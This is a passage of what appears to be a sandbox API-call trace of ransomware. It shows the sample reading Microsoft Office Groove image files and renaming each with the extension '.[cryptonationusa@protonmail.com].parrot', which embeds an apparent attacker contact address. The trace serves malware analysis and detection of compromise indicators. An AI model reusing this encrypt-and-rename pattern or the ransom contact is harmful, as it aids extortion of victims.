(in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x244, lpOverlapped=0x0) returned 1 [0191.487] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.490] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.490] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.492] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.492] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xbe8, lpOverlapped=0x0) returned 1 [0191.492] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.496] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.496] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.497] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.498] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x924, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x924, lpOverlapped=0x0) returned 1 [0191.498] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.502] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.502] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.503] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.503] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xae8, lpOverlapped=0x0) returned 1 [0191.503] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.507] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.507] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.510] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x614e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x614e, lpOverlapped=0x0) returned 1 [0191.511] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.515] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.515] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.517] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.517] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x161d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x161d, lpOverlapped=0x0) returned 1 [0191.518] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.522] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.522] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.523] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.523] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7dd3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x7dd3, lpOverlapped=0x0) returned 1 [0191.525] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.529] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.529] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.531] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.531] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x132a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x132a, lpOverlapped=0x0) returned 1 [0191.532] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.536] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.536] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.537] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.537] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x167bd, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x167bd, lpOverlapped=0x0) returned 1 [0191.540] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.547] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.547] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.549] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.549] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ebb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4ebb, lpOverlapped=0x0) returned 1 [0191.550] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.555] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.555] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.556] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.556] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x40f, lpOverlapped=0x0) returned 1 [0191.556] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.561] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.561] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.562] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.562] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5690, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5690, lpOverlapped=0x0) returned 1 [0191.563] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.568] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.569] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6a, lpOverlapped=0x0) returned 1 [0191.569] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.573] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.573] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.610] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.610] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x21a6, lpOverlapped=0x0) returned 1 [0191.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.617] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.617] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.618] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.618] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d57, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3d57, lpOverlapped=0x0) returned 1 [0191.620] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.629] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.629] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.630] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.630] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1845, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1845, lpOverlapped=0x0) returned 1 [0191.631] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.635] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.639] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.639] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5141, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5141, lpOverlapped=0x0) returned 1 [0191.640] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.646] 